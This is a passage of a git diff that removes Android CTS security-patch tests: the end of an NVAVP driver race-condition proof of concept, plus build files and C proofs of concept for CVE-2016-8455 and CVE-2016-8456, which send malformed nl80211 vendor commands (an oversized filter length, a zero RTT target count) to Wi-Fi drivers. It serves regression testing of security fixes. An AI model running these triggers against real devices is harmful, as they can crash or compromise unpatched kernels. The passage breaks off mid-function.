-		ERR("[-] open failed");
-		return 0;
-	} else {
-		LOG("[+] open OK");
-	}
-
-	#if 1
-	ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
-	if(ret == -1) {
-		ERR("[-] ioctl failed");
-		goto out_dev;
-	} else {
-		LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
-	}
-
-	target_fd = o_args.channel_fd;	
-	#endif
-
-	/* create close thread */
-	#if 1
-	attack = 1;
-	for(i = 0; i < CLOSE_THREAD_NUM; i++){
-		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
-		if(ret){
-			ERR("[-] create close thread %d failed", i);
-			goto out_close_thread;
-		}
-	}
-	#endif
-
-	#if 1
-	for(i = 0; i < TRY_TIMES; i++){
-		LOG("[+] %03d times", i);
-		/* open */
-		ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
-		if(ret == -1) {
-			ERR("[-] ioctl failed");
-		} else {
-			LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
-		}
-		//usleep(200);
-	}
-	#endif
-	
-out_close_thread:
-	attack = 0;
-	/* kill close thread */
-	for(i = 0; i < CLOSE_THREAD_NUM; i++){
-		if(close_thread_id[i])
-			pthread_join(close_thread_id[i], NULL);
-	}
-out_dev:
-	close(fd);
-	return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
deleted file mode 100644
index 5ec4302..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8455
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := external/libnl/include
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
deleted file mode 100644
index 1f58e23..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
+++ /dev/null
@@ -1,318 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-#define APF_ATTRIBUTE_PROGRAM_LEN 3
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-int test(void);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  struct nlattr *rret3;
-  struct nlattr *rret4;
-  unsigned char buf_test[256];
-
-  int i = 0;
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
-  unsigned char SSID11[DOT11_MAX_SSID_LEN];
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, APF_SUBCMD_SET_FILTER);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, APF_ATTRIBUTE_PROGRAM_LEN, 0xffffffff);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
deleted file mode 100644
index 75688b5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8456
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
deleted file mode 100644
index 9367c45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
+++ /dev/null
@@ -1,313 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
-  /* don't use 0 as a valid subcommand */
-  VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
-  /* define all vendor startup commands between 0x0 and 0x0FFF */
-  VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
-  VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
-  /* define all GScan related commands between 0x1000 and 0x10FF */
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
-  ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
-  /* define all RTT related commands between 0x1100 and 0x11FF */
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
-  ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
-  ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
-  ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
-  ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
-  /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
-  ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
-  /* define all wifi calling related commands between 0x1600 and 0x16FF */
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
-  ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
-  /* define all NAN related commands between 0x1700 and 0x17FF */
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
-  ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
-  /* define all packet filter related commands between 0x1800 and 0x18FF */
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
-  ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
-  /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
-  BRCM_VENDOR_SCMD_UNSPEC,
-  BRCM_VENDOR_SCMD_PRIV_STR,
-  GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
-  GSCAN_SUBCMD_SET_CONFIG,
-  GSCAN_SUBCMD_SET_SCAN_CONFIG,
-  GSCAN_SUBCMD_ENABLE_GSCAN,
-  GSCAN_SUBCMD_GET_SCAN_RESULTS,
-  GSCAN_SUBCMD_SCAN_RESULTS,
-  GSCAN_SUBCMD_SET_HOTLIST,
-  GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
-  GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
-  GSCAN_SUBCMD_GET_CHANNEL_LIST,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
-  ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
-  ANDR_WIFI_RANDOM_MAC_OUI,
-  ANDR_WIFI_NODFS_CHANNELS,
-  ANDR_WIFI_SET_COUNTRY,
-  GSCAN_SUBCMD_SET_EPNO_SSID,
-  WIFI_SUBCMD_SET_SSID_WHITELIST,
-  WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
-  WIFI_SUBCMD_ENABLE_LAZY_ROAM,
-  WIFI_SUBCMD_SET_BSSID_PREF,
-  WIFI_SUBCMD_SET_BSSID_BLACKLIST,
-  GSCAN_SUBCMD_ANQPO_CONFIG,
-  WIFI_SUBCMD_SET_RSSI_MONITOR,
-  WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
-  RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
-  RTT_SUBCMD_CANCEL_CONFIG,
-  RTT_SUBCMD_GETCAPABILITY,
-  RTT_SUBCMD_GETAVAILCHANNEL,
-  RTT_SUBCMD_SET_RESPONDER,
-  RTT_SUBCMD_CANCEL_RESPONDER,
-  LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
-  DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
-  DEBUG_TRIGGER_MEM_DUMP,
-  DEBUG_GET_MEM_DUMP,
-  DEBUG_GET_VER,
-  DEBUG_GET_RING_STATUS,
-  DEBUG_GET_RING_DATA,
-  DEBUG_GET_FEATURE,
-  DEBUG_RESET_LOGGING,
-  DEBUG_TRIGGER_DRIVER_MEM_DUMP,
-  DEBUG_GET_DRIVER_MEM_DUMP,
-  DEBUG_START_PKT_FATE_MONITORING,
-  DEBUG_GET_TX_PKT_FATES,
-  DEBUG_GET_RX_PKT_FATES,
-  DEBUG_GET_WAKE_REASON_STATS,
-  WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
-      ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
-  WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
-  APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
-  APF_SUBCMD_SET_FILTER,
-  /* Add more sub commands here */
-  VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
-  wifi_channel_width_t width;
-  wifi_channel center_freq;  /* primary 20 MHz channel */
-  wifi_channel center_freq0; /* center freq (MHz) first segment */
-  wifi_channel
-      center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret2;
-  unsigned char oper_classes[253];
-
-  wifi_channel_info_t c_info;
-
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, RTT_SUBCMD_SET_CONFIG);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u8(msg, RTT_ATTRIBUTE_TARGET_CNT, 0);
-
-  rret2 = nla_nest_start(msg, RTT_ATTRIBUTE_TARGET_INFO);
-
-  if (!rret2) {
-    return 1;
-  }
-
-  nla_put(msg, RTT_ATTRIBUTE_TARGET_CHAN, sizeof(c_info), &c_info);
-
-  nla_nest_end(msg, rret2);
-
